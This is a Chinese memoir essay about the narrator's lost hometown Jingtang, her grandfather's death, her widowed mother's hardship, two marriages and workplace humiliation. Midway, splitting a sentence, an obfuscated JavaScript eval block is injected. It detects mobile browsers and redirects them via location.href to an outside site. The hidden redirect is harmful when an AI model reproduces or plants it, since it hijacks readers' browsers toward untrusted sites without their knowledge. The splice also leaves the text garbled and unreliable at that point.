我的妈妈曾经在这儿带着我们吃饭、睡觉,这儿有我幼小的弟弟妹妹,他们除了我年轻守寡的妈妈,无依无靠。我家有两床被子。一个是绿色的被面,上头飞舞着黄色的龙凤,一个是红色的被面,上面是蓝白色的牡丹花和金黄色的龙凤在飞舞。夜里,我跟弟弟睡在西头,我妈妈搂着我幼小的妹妹睡在东头。我在睡梦中,时不时地听到我妈妈跟我幼小的妹妹说:“不要蹬被,不要蹬被,冻着!” 我想在这儿躺下,把自己紧紧地关闭,再也不走出去。我不想出去。这些年,我经历了很多苦痛,也给比我更弱小的一些人带来了一些苦痛。我勤勤恳恳地活着,活地匆匆忙忙,又郁郁葱葱。其实,我对外面的世界并不感兴趣。暗无天日的夜里,和响晴的黄昏,我在梦里醒来,我梦见的都是这里,我一辈子也走不出来的也是这里。可是,我还得出去。去继续我的生活,去继续我的生命。 什么时候我才可以可以在这里安息?要等我死去。如果人在死去以后真的会魂归故里,那这真是对死亡最好的慰藉。如果人死去以后真的有灵魂,那我的灵魂一定要停留在这儿。哪怕墙倒屋塌,哪怕无处躲避风雨。这里在我的眼里也是最好的,最美的。这儿片瓦不存了吗?这儿已经成了谁的田地?还是谁的厂区?还是谁的新家?都没有关系。一个人的灵魂是不需要什么实实在在的着落的。我只需要日夜围绕在这里就够了。就让我做这儿的一棵树下的一个光影。就让我做这儿的月光下的一粒尘土。只要能让我常在这里,那就是给我以后的死亡以最大的恭喜。 我在梦里所去的地方,几乎都是荆堂。南乡的人,我的爱人,我在梦里遇见他们,那地点也是在荆堂我的家里。多么荒唐可笑,又多么固执。这是我骨子里的固执。我的心,只想去我最爱的地方,无关饱暖与饥寒、肥沃与贫瘠,无关他有没有本事将我抚育。 这些年,我一次次地做梦,梦见我的爷爷。我知道我是亏欠了爷爷。爷爷在我大三的时候去世了。消息是我妈妈回乡的时候道听途说得来的。有人说,他一个人去家东,大井那里,去挑水。不小心落水,席甲子还漂在井上。又有人说,他是被人打伤,独卧在床,没有人给他递一碗水。他乞求人家:“恁给我碗水儿喝喝吧……”他最疼爱的大省不在跟前,谁去给他递一碗水呢。我小时候,爷爷不是跟我说过吗,有一个爷爷,他把孙子抚养大,爷爷死的时候,孙子都去哭喊:“爷爷啊——”爷爷跟我们说着,他自己的眼泪“哗哗”地流淌。爷爷这辈子指望不上儿女,只希望孙女能够长大成人,这是他的垂暮之年的唯一的安慰。 我那时也信誓旦旦地答应爷爷,我甚至觉得他的眼泪是多余的,我会一直在爷爷跟前,不会不管爷爷。但是我十五岁的时候,为了继续上学,还是辗转离开了他。其间,我也曾经想过回山东看看爷爷,可是,我没有钱,我们都没有钱。弟弟、妹妹都在生长,我手里的生活费只要多余出来几块钱,我就想着怎么给他们补充一点营养,怎么能让他们吃上一口肉,吃上一口糖。我那个贫寒的家连过年都吃不上肉。平时,我们吃的是炒辣椒皮子,就白米饭。我手里有了一点钱,就去苏果超市买来带着厚厚的奶油的糕点给他们吃。我还跟我妈妈撒谎把他们带出来,请年幼的他们到我中学门前的小饭店吃饭,我让人家给他们炒一盘子青椒肉丝,就着煎饼吃。一个十六七岁的孩子,请一个十二三岁、一个八九岁的孩子吃饭。 我是大姐,我的小弟弟跑到我的学校里,像当初在荆堂一样,“爬门楼子”,把他自己挂在学校的锈迹斑斑的铁大门上,像荡秋千一样,来回地荡。我的小妹妹,扎着一个冲天辫,穿着人家给的红色的小褂儿,看到我,伸开双臂冲我跑过来:“大姐——。”我顾不上弟弟妹妹,我更顾不上爷爷。我只盼着爷爷能活地久一点,等到我有本事去养活他的那一天。可是爷爷这辈子是没有这个福气了。 知道爷爷去世的消息,我应该是嚎啕大哭的。可是我没有,我安静地像什么都没听到。我后来也问过我妈妈,我妈妈当时在锅屋里,她告诉我,爷爷确实死了。“他自尊心强,不去人家里挑水吃,他去大井挑水;他自己种的新麦,还没吃上!”妈妈眼睛里泛着泪花。爷爷是不知道,他这个在他眼里很“奋事”的、经常跟他吵架的儿媳妇,竟是这世上为数不多的为他流泪的人。爷爷更不知道,这么多年,她是怎样苦熬着,抚育着他的三个孙子。而我们,就像是夏日干旱土地上的小草芽子,没有绿茵的庇护,没有水源的滋养,但是我们还在顽固地生长。是的,贫贱而顽固地生长。用我妈妈的话说,我们娘四个是靠天生长。 我妈妈哭了,我还是没哭,我不想参与她的哭泣,我不想引起她更多的眼泪,我不想跟她哭作一团。不是为了她,而是因为我在异乡,这里不是我哭泣的地方,我的眼泪不应该滴落在这里。这是固执,还是我为自己的冷漠找到的借口呢?我自己也说不清。我只知道,在以后的日子里,我一次次地梦见爷爷,他在我的梦里被人毒打,我为他呼号,为他痛哭着匍匐在地。他在我的梦里一次次地死去,我为他抚棺哀恸,为他尽一个孙女的孝道。爷爷死的时候,我没有做到的,我在梦里一次次偿还。 这么多年,我依然梦见幼小的我们,幼小的弟弟妹妹,还是在山东的模样,他们那么小,那么需要庇护。我们三个趴在一片危岩上,我一边保护着他们,鼓励着他们,带着他们艰难地往前爬,一边流淌着思念爸爸妈妈的眼泪。 我已经年近四十,有了自己的孩子。可是梦里,我还是一个十来岁的小姑娘。我跟更加幼小的妹妹在一起,吃着白色的馒头,看见妈妈来了,她把一双鞋塞在我家土墙的破窟窿里,慌慌张张又要走。我跟妹妹大哭:“妈妈啊——”那一声“妈妈”里,有多少悲痛。妈妈啊,我们可想你了,妈妈啊,你别走!我张嘴大哭,哭地露出了嘴里的白色的馒头,妹妹也在哭,她也张着嘴巴,我看见了她嘴里的馒头,她也看见了我的。这种梦,说给妹妹,她也会笑笑,觉得无聊吧。她体会不到,她也没有功夫去体会。妹妹已经三十几岁,她十几岁就嫁了人,她跟她老实的丈夫一起卖菜,养着三个孩子。 我小时候离开南乡,还只是五六岁。我离开荆堂是十五岁。童年的事情,我记不清了。我只是把那些偶尔从我记忆中蹦出来的部分,简单的记录下来。只是像小时候晾山芋干子一样,一块块地把他们晾出来。算是我给爷爷,给荆堂,给我的心,一个交代。 我去菜场买菜,还是最想买大大的圆圆的茄子。因为我小时候吃过一次,不知道是谁给的,卷在煎饼里,一大块,一大块的,有些酸溜溜、油汪汪。我想做同样好吃的茄子,可是我做不出那样的味道。就像朱洪武,这辈子也吃不成他当初要饭时吃的“珍珠翡翠白玉汤”。 我无意杜撰,我想保留我记忆里的山东最本真的样子。而我所记下来的,都是我最喜欢的。我记下的,都是我心里那些可爱的人,可爱的事,可爱的日子,甚至是可爱的人的性格里、命运中,那可爱的部分。所以,我只记到我十五岁,离乡之前的日子。其他的,我不想记,也不想想起。那些烂糟的生活,就暂且让他随风而逝吧。而我所记下来的,都是经冒花泉里的水淘洗净的一块块璞玉。没有任何技巧,没有任何剪裁,就让他原原本本的吧。我是固执的,我要尊重我自己的心啊。他们不能改变一点点,我不能张冠李戴,甚至他们的名字,不是出于对他们的尊重,我都不想做一点点改变。他们的名字多好啊,与他们自己,与荆堂那片土地,与我——大省的记忆,多么契合啊。 荆堂是回不去了。听说已经搬迁了。庄里的人都搬迁到了北山里,那里,还会有“茂猴子”出现。西岭不在了,柿树不在了,那些石头不在了,要统一种地。那些人,都已经老去,那些坟,我爸爸的坟,我爸爸的碑,也都已经不在了。而我,离乡快三十年了,乡音已改鬓毛衰,即使回乡,又有几人认得我,又有几人还能叫我一声“大省儿”呢。 我在平常的生活里,时不时就蹦出来关于荆堂的记忆。我知道,是他在呼唤我。就像我当初离开荆堂的时候,夜宿姥姥家,夜里,耳边传来一声声的鸡叫,像是我的爷爷,在一声声地呼唤着我的名字:大省儿——大省儿—— 多想再回到荆堂,站在那长满了小草的黄土路上,说一声,我是大省,我回来了!我是大省儿啊!可是荆堂还会认得我吗?我怀着四十岁的满腹悲凉,我顶着四十岁的两鬓苍苍,再见荆堂,只怕荆堂也不认不出我来了。荆堂和我就这样逝去了。随着曾经在荆堂住过的人一代代老去,荆堂必将会永远地逝去,逝去在活着的人的记忆里。 说实话,关于后来的日子我是不想写的。关于南乡,关于我后来的婚姻的伤,关于我在职场上见到的听到的,那些糟粕,我其实根本是不想写的。我只想保留我生命里最美好的那部分。我不想写后来的事儿。你要相信,你的笔太单调,你根本就写不出这世上的美好。同样的,你的笔很单调,你也写不出这世间的糟糕。后来的那些事儿太糟糕太糟心,我不想写,我也不知道该怎么去描绘。 本来,写完荆堂,我就想戛然而止的。可是,后来,我觉得只写荆堂,文字太少了。荆堂占取的我的生命的部分太少了。于是,我试着写下关于在南乡的文字。谁知道,烂糟的生活也有糟糕的奇妙。烂糟的生活也会让你发笑。 后来的日子毕竟是痛苦的,痛苦的让我不想再提及。后来的事,一言以蔽之。无非是我的寡母带着我们在异乡艰难度日。在那里,我们受尽人家的欺压,我妈妈险些没被人家打死。世事一场大梦,人生几度秋凉。我在玩世不恭的文字里,为当年的我自己,把泪静静地流淌。然而,我没有时间去流泪。成年人的世界里不相信眼泪。我有泪往肚子里咽。我把文字当成种子,和着我肚子里的眼泪来耕耘。 在这样的家庭走出来的孩子,其心灵其性格都受了太多的压抑,婚姻又能好到哪里去。缺爱的人是很容易爱上一个人的。我就这样稀里糊涂地跟一个身体功能有缺陷的人结婚了。其结果,当然是离婚了。这是必然的,也是幸运的。毕竟,他没让我在一段干枯的婚姻里耗尽我的生命。 后来,我再婚了,并且成功地有了一个孩子。有了孩子以后才知道,亲亲,抱抱,摸屁屁,是人类母亲与婴儿在表达爱与被爱的需求。舐犊情深。这是生命从动物时期就开始拥有的本能。牛马猪狗皆是如此。而等到人类长大以后,她的母亲不再对她亲亲抱抱,于是她开始寻找曾经婴儿时期的亲亲抱抱。只是,这亲亲抱抱与母亲的不同,它会让人偷尝禁果,它会让女人十月怀胎。它的施与者大多数不会像母亲那样爱她,他会伤害她,抛弃她,于是就会有那么多撕心裂肺的苦痛。当她把自己像婴儿一样交给对方的时候,她是多么天真地以为对方会像母亲一样爱她怜她惜她之死靡他。她不知道母亲终究是母亲,他人终究是他人。母亲会离去,他人靠不住,女子的心很多时候会被辜负。她婴儿时期那些安全的安稳的终生没有瑕疵没有异心的亲亲抱抱,终其一生,能够给她的,除了母亲,可能再无他人。 可是,人的内心终究还是一个婴儿,她渴望一个温暖的安全的怀抱来安睡。她终其一生都在找寻,她在寻求一个亲亲抱抱,与其说她是在寻找爱情,不如说,她是在寻找婴儿时期的自己和母亲。可是,那些看似比母亲还要善解人意还要甜蜜动人的面具背后,大多数不是母亲。于是,她一次次像被抛弃的婴儿一样哭泣,一次次歇斯底里。 我的第二段婚姻,说不上是好,还是坏。随之而来的丈夫、孩子和婆婆,把我变成了一个白发苍苍的存在。我的丈夫,他对我不是太好也不是太坏。只是,我在他身上找不到温暖和依赖。我觉得我像是爱的沙漠里的一头骆驼,收敛起我所有的娇媚和柔弱,迈着我沉重的蹄子,一步步地,坚强而又厌烦地往前挪。我经常做梦。做春梦,梦见一个不是我丈夫的男人,带给我一点属于一个女人的心动和沉醉。呶,我昨天居然梦见我去相亲,我一时不知道该选择哪一个男人。是选择那个对我比较热情的小头小脑袋的学长呢?还是选择那个不怎么言语的戴着眼镜准备考博的斯文男生?我醒来以后,还在回味着梦里那个让我有一点点神往的男人给我带来的幸福时光。 是的,因为各方面长期的缺位,我在潜意识里把我的丈夫给完全摒弃了。我没办法在像是一头螺马一样,在拖着沉重的袋子,承担着所有的重压的同时,还能够像是一只小兔子一样来向他谄媚撒娇投怀送抱。一个对我来说,谈不上什么支持和依靠的男人,也配不上我的取悦和讨好。这是我骨子里的自尊和清醒,固执和骄傲。 职场跟婚姻是同时进行的。一个职场菜鸟在一个所谓的有文化的人群堆里所受的打压,我是体会殆尽了。在这里,很多人的脸像是一个石碑一样,他们冷酷无情又高高在上。他们的功能是让你压抑,给你冷酷。让你受不住。在这里,他们把歪曲真理的话说地冠冕堂皇,如同放屁一样。他们站在高高的树梢上,他们张开他们沾满油脂的羽翼,向你开屏,沾沾自喜。风和日丽的日子里,大家貌似也是欢聚一堂,和和气气。一旦今夜有暴风雨,他们第一个就把你给推了出去。他们哪里会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137826|180320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管你的身后是万丈悬崖还是刀剑矛戟。 你如果堕下悬崖,被摔成肉泥,他们就说,看!我的眼光没错吧?她这个人本来就没有出息! 你如果在堕下悬崖的半空中发现你原来是一只雄鹰,你张开了你天赋的翅膀,展翅翱翔,他们又会说,看!我多伟大!是我发掘了她的潜力,不是我给她磨难,她怎么有机会去发现她自己啊! 那个冬天,你被推了下去,你跟你的孩子一起被推了下去。下头,是一个黑胖的酋长。他黑的伸手不见五指,他生的怪模怪样。他觉得你这个被从文化人堆里扔出来的怪胎怎么可以跟他们一起去茹毛饮血,去把盘子套在嘴唇上。你跟他说你读了很多书,你不是垃圾。他听不到你的话,他也不想听你的话。在一个野蛮人的世界里,他奉行的是标枪,是嗜血,是睁着眼睛吃苍蝇的能力。你的所谓的文化和知识,在他的眼里,等同于狗屁。你的话在他的耳朵里可不就等同于放屁。 你也曾知道士可杀不可辱。你也知道你是一个人。一个读书人。你是一个年近四十的人,一个女人,一个有孩子的女人。可是,在酋长的手里,你只有生存。你要参加他的篝火舞会。你要看他光着屁股高唱从文明世界学来的歌曲,你要赞美他所有的杀戮和暴戾。他光着屁股,唱着刚刚学来的一知半解的文明的歌曲,把你当众踩了又踩,踢了又踢。 他一边啃着滴着鲜血的牛腿,一边黑着脸跟你讲要多吃青菜的道理。他一边用标枪戳死一个哺乳期的羔羊,一边往你身上贴着万恶难赦的名帖。他一边唱着一知半解的关于文明世界的歌曲,一边告诉你你是有多无知多低劣多垃圾。 你在这位酋长的不懈的锲而不舍的持之以恒的糟践下踩踏下真的变成了一个废物一个垃圾。你不配参与他们的打猎,当然也不配分得他们的红利。 你就这样看着他,看着这冬天的风景一点点地在你生命里逝去。你知道你坠落在了这样一个野蛮的酋长的手里,那就是坠入了一个黑洞。你看着这个酋长,他居然又让你想起了古代的文明。是的,这位尊贵的酋长,他上辈子是朱元璋□□里的一只蛔虫?还是朱棣恭桶上的一只蛆虫?还是慈溪老太后身上的一只可爱的阴虱呢。 可是你知道你不能就这样永堕谷底,你必须靠自己的力气勇猛地爬上去,你不仅要活命,你还要好好地更好地活下去。你要重见天日,你要开创出自己的一片天地。 于是你在谷底结起了藤索。你带着那酋长虐杀你的伤痛日夜结藤,你要从这黑暗的谷底爬上去冲出去。你蘸着你伤口上的血滴来结一条带着你重生的藤蔓。你知道蘸了血的藤蔓会更加结实耐力。 是的,结藤,冲出去!是的,你要结藤,结一条真正的藤索来拯救自己。你的自我定位是战士,是奴隶,是骡子,是猪头。唯独不是什么高贵的人,更不是什么需要乔装打扮来取得谁的青睐的女人。那些对一个谷底的人来说,都毫无意义。 于是,你把自己变成了济公的样子。你鞋儿破帽儿破身上的袈裟破,你笑我他笑我一把扇儿破。你几年也不给自己更换一件冬衣,你穿着领口儿变了形的毛衣,贴了补丁的棉袄,断了底的皮鞋,起了毛的裤子。还有别人看不见的,旧内裤和旧袜子。一个堕入谷底的人是不配拥有什么光鲜的披挂的。一个把你堕入谷底的人是不配看到你涂脂抹粉的容光的。一个在谷底结藤的人是没有心思去穿红戴绿的。 有人鄙视你邋里邋遢,不如她们会精心描画,人证物证具在,你确实是个没用的废物啊。有人说你惊不起他们的打击,你心如槁木,形容枯槁了,春风也吹不起你半点涟漪了。你呜呼哀哉,行将就木,无可救药了。 只有你自己知道,女为悦己者容,“中行氏以众人待我,我故以众人报之;智伯以国士待我,我故以国士报之。”别人的眼光跟你身上那一身脂粉和披挂一样。都是虚幻的。等你自己的春天到了,等你遇到了真正的知己的时候,你再去把自己好好装扮一番吧。 你知道,春天总会来到,有一天,这悬崖下的黑暗的部落和这黑暗的酋长会被春天给发现。春天会告诉他你的价值和他的无耻。 没有人相信你,他们根本就不认为你这样粗劣的老婆子能搞出什么鬼名堂。他们不知道,你到底有多少宝藏。是的,你经历过的那些痛,那些伤,原来,都是老天赐给你的宝藏。 我生来足够幸运,经历了那么多的打击和奇葩的人。这是老天早就给我准备好的剧本。在下不才,我只是笨拙地把老天给我写好的剧本粗糙地记录了下来。人生很无奈,剧本很精彩,我写不出其中一二。就让这微薄的记忆来回馈老天对我的赠予。每个人都在自己的命运的剧本上运行,蓦然回首,已过半生。愿每个人都有接受人生的剧本的勇气,也有审视这剧本,并以此为矛为盾,为船为桨,为墨为笔,掌管人生剧本的能力。如此看来,人生的种种悲哀和无奈,本身就是一种精彩。世界上本没有路,无路可走了,也便有了路。我们要向无路可走处,走出一条属于自己的路。这是一条神奇的天路。这是上天给予的路。这也是你生来注定要走的路。 梦,每天夜里都做很多梦。 我梦见我独自站在偌大的高中学校的教学楼前。是的,那是我上高中时的教学楼。梦里,杜涉是我高中学校的校长。我站在学校进大门儿的主干道上。面前,贴着瓷砖的白花花的教学楼连成一片。可是杜涉单单不让我上学了。他处处刁难我。他想毁了我。杜涉,我跟你今世无仇前世无冤。你为什么从一开始就对我处处压制,时时刁难? 我梦见我跟郑嫦她们一起坐在一个会议室里。我愤愤不平地跟郑嫦说:“你凭什么说我语文不好!我会用事实证明给你看!”权似穹庐,笼盖四野。你以为你一手遮天了,我这辈子就被你死死地压在五行山下,任你蹂躏,我永远出不了你的魔掌心儿了?你以为只要你足够心如蛇蝎,狠毒阴暗,我就真地服了你了?你太小看我了!你太高估你自己了!你太小看一个人了! 一个人可以被毁灭,但不可以被打败。我就是死了化成灰,我那颗心都不会服你的。我就是烂了做了鬼,我也不会放过你的。 我梦见我要离开图书馆了。我到故纸堆前去拿我以前用过的资料。陈旧的图书馆里,是黄土铺地的地面和磨损的斑驳的桌椅。我沿着图书馆的地面向西走。最西边的墙角那里,最底下的一堆旧书里头,是我用过的,记了密密麻麻的笔记的,厚厚的一大本蓝白色的《大一轮复习讲义步步高》。我又从书架上拿起一本陈旧的《中国古代文学史》和《汉语字典》。是的,我要离开这儿了。我来到一个陡坡前,脚下是层层叠叠的像是褶皱一样的盘山路,那么陡峭,那么危险。我蹲在那条盘山路跟前,看见脚下大路上的零星的行人。我不知道怎么样才能安全地打这条路走下去。 中年遭弃置,遂成流离人。 恶浪逐人急,汪洋堕此身。 故我浑不识,架上笔生尘。 半生何所余?母老家亦贫。 怀中稚子啼,耳边豺狼吠。 乌飞狐狸笑,狗豸撕我裙。 楚歌四面起,重围只此身。 为向东山起,闻鸡起舞频。